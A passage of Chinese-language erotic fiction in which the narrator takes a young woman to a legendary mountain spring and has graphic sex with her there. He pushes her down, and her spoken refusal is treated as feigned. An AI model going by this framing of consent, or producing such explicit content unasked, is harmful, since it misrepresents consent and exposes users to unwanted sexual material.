最後一句话,我想多少带有开玩笑的成份,因为我看见了她因自己的语气
而忍俊不住的表情。她也意识到这一点,话没说完就急忙跨步向前走。
看来茉莉香的心情没有想像中来得差,我总算松了口气。
「哇!这里就是姬御前之泉啊?好漂亮!没想到这麽大,这不只是山泉,
根本是个大湖嘛!」茉莉香一面注视泉水一面赞叹。
「好美…泉水清澄见底,最适合拍外景了!太棒了,原来日本也相当辽阔
嘛!竟有这种电视或杂志都没介绍过的好地方!」
这座山泉有个传说,据说发绪岳村的拓荒者,平家的落难武士们,为躲避
源氏将军的讨伐,决定献上祭品以祈求山神的蔽护;说到祭品,不用说当然是
年轻美貌的女孩,那时被选中的,是首领的女儿,名叫高木原伊吹,是我的祖
先。後来她好像受到山神召唤而投身海中,所以前方的伊吹海峡,以及发绪岳
这座山的名字,都是为纪念伊吹而命名的。还有,在她跳海前沐浴的场所,就
是这片姬御前之泉。
「这里的美,八百年来都没变,据说这片泉水是永远映照出成为祭品的伊
吹公主之美貌的明镜,永不停滞或枯竭,对村民来说,是最神圣的地方。」
茉莉香对我的话似乎很感兴趣,眼中闪烁着光芒凝视着我。
「哗~所以才不让外界知道姬御前之泉的存在吧,可是,我这个外来客到
这地方来,可以吗?」
「有什麽关系?又不是来污染泉水的!」
「呃…我顺便带了泳装来…」茉莉香拍了拍挂在肩上的包包说道。
「别担心,我和琴美以前都常来游泳,琴美还曾经在水里尿尿呢,所以有
人说她身体不好是偷尿尿的惩罚,不过其实是天生体弱多病的。可是,你为什
麽带泳装?」
「因为…我想玩水嘛,要裸泳才行吗?」
「不是那个意思,我是问你携带的目的,如果没 到我的话,是要去海边
玩吗?」
「哎呀,泳装在山上也是必需品嘛,到了河边、湖边、温泉都用得着,这
里不也是吗?」
我有点佩服地看着茉莉香,生活在这喘息於人与人之间充满摩擦和隔阂的
社会中,她这种主动进取的生活态度值得当大家的典范。
「我到那边的树丛换衣服,稍等一下,不准偷看喔!」
茉莉香眨眨眼,对我摇了摇食指後,小跑步到附近的树丛里去。
她换上双色的高叉泳装,踏入冷澈的泉水中。
「唔哇!好冰~好舒服喔!你也一起来嘛,很舒服的耶!」
「我又没带泳裤…」
「脱光就好了嘛,男生要遮蔽的地方那麽少!」
「啊…」
「啊哈哈,你害羞了,好可爱!」
茉莉香笑了,她在波光闪闪的水面上溅起水花,与大自然嬉戏,她正是个
适合户外运动的女孩,美妙的身影与周围的风景绝妙地调和。
我坐在树荫下,眺望着她绚丽的泳装姿态,撩起湿濡长发的模样,散发出
彷佛西洋传说中泉之精灵般的妖,好想有一天能以她为模特儿画张图,这种思
绪在我心中涌起。
我不知不觉中被泉之精灵迷惑,感到情慾开始高腾,体内复苏起昨夜的感
触,下腹部发出热量,长裤中开始硬挺跳动,品嚐过茉莉香这粒美味果实的我
,忍不住想要再尝一次。
「你怎麽了,俊彦?」
发觉到我非比寻常的视线,茉莉香向我接近,『我要吃了你』几个字几乎
要脱口而出。
「俊彦?」
接续昨夜的狂情,我将她推倒,她注视着我,脸上尽是惊异之色,褪下她
身上的无肩带泳装後,充满弹力的乳房怦然蹦现。
「我,看着你的样子,怎麽样也无法忍耐!」
「俊彦…」
她的瞳孔中并无愤怒或拒绝的眼神,我只见到惊讶、害羞,和一点点的胆
怯,这是我自己的解释。

昨晚和酒也有关系,而且我真的是第一次,一切彷佛在梦中,发生得大快
,但是现在是清醒的,完全知道自己在说什麽,在做些什麽。

「我…我想抱你…」

「这种事,突然…」

「是你先诱惑我的!」

我卧在她身上,抚摸她湿透的肌肤,和昨日不同,是冷冰冰的感触,我的
右手探求热度而攀上大腿,左手由大胆剪裁的泳装背部钻入腋下。

「啊,俊彦,不行…」

小得听不见的呢喃,像是欲拒还迎,她的身体比昨天还要更明显地有反应
,配合着我的手而扭动身体,指示我下一个方向。

「嘴里说不行,身体却毫不抗拒唷!」
「我本来就没抗拒,只是,还没有心理准备…」
「那麽,身体准备已经OK了吧!」

我一边用左手揉搓着茉莉香的胸部,一边将右手滑入泳装的胯下。

「啊!怎麽…啊啊…嗯啊啊啊!」

钻入贴身布料下的手指,在湿漉漉的肉缝中心,对着缠绕热气与湿气的柔
软媚肉画圈,在柔唇的间隙中,我缓缓伸入食指。

「唔嗯嗯嗯!啊啊…」

埋进手指根部後,我配合缓急的节奏,细腻地搅动,心理准备不足的茉莉
香,反射性地淫荡的摇摆身体,跟随着摩擦肉壁的手指之指挥,女体的管弦乐
队演奏着一曲放荡又热情的协奏曲。

「呀!嗯!俊,俊彦,花心…也摸摸我的花心!」

脱下泳衣露出胯下後,我用双手爱抚她的股间,茉莉香湿答答的秘部,曝
露在白日之下。

「快点,快抚摸我的花心,我的体内,已经热得快要溶化了!」
肉缝中已经容入两根指头,接下来我更用左手,小心翼翼地撩开成为一片
湿原的秘丛,然後发现目标的肉芽,以手指灵巧地转动,这时,茉莉香的身体
似有几百万伏特的电流流过,猛然向上跳动。

「啊!好棒,好舒服,俊彦!!再来!再爱抚我!」

曾在某个节目中看到过,花心对女性而言,就像是男性的钢棒,张大眼凝
视这浮雕在夏日阳下的秘部之後,我才知道原来真是如此,这覆有肌肤的小器
官已勃起,而且充血,我拨开皮肤,大口一舔,再用嘴唇轻咬、吸吮、拉扯,
用舌尖转动。

「噫呀,不,不行了~被这样弄,我会受不了!」

执拗地攻击花心和秘缝之後,从激烈痉挛的柔肉间隙内外溢出大量的黏液
,狂乱摇摆的腰,让我的手指几乎跟不上。

「快一点…插进来,你的肉棒…插进我的小洞…」

茉莉香摇晃着臀部,口吐卑猥的字眼,我所认为的威风且明朗快活的女大
学生,到头来依然是个淫乱的女人。

当然,这并不是形象幻灭,事实上,我的男根已勃起得更加挺拔。

是时候了,我下了判断,拉出长裤中暴涨的肉棒,突入哆嗦的秘唇,湿答
答的内壁,滑顺地迎入怒棒,我加进力道,一口气拧进最深处。

「啊,啊!!」

茉莉香的体内,润滑得说是融化也不为过,而且还吸进我刚猛的小弟弟,
以细致的肉壁给予娇媚的洗礼,勃起而过度敏感的男根,完全成为这完美悦乐
的虏囚,我陶醉於茉莉香这瓶芳醇的美酒,专心跳着喜悦的肉体之舞。

「嗯,啊!啊,啊!啊!呀,再用力,用力!好热,好烫!熔化了,要熔
化了!」

苦恼般呻吟的茉莉香,几度扭动身体似想逃离,每一次肉壁和柔唇都更夹
紧深埋其中的肉棒,麻痹似的快感急速流过我的背筋。

我努力控制住不要爆发,激烈地刺进秘洞的最深处,热度与黏液,将我们
紧密合而为一,期盼的终点,只剩下一小步。

「啊啊,啊啊!好棒~好舒服~要去了,要去了!啊啊啊啊!啊!射在里
面,射进里面!!」

陷入疯狂的她一反昨日,要我射进体内,也许因为要攀登到最绝顶,需要共
同的一体感吧,我加速抽送的节拍,向高潮的临界点冲刺。
「唔唔!要射了!!」

「唔啊,啊啊!来吧!一起,一起高潮!!」

我把全身重量压在茉莉香身上,深深地贯入,这时,终於忍耐不了的肉棒
前端,气势凶猛地爆发出来。

「啊啊啊啊啊~!俊彦~!!」
耳中回汤着激情的狂叫,我的脑中变得一片空白。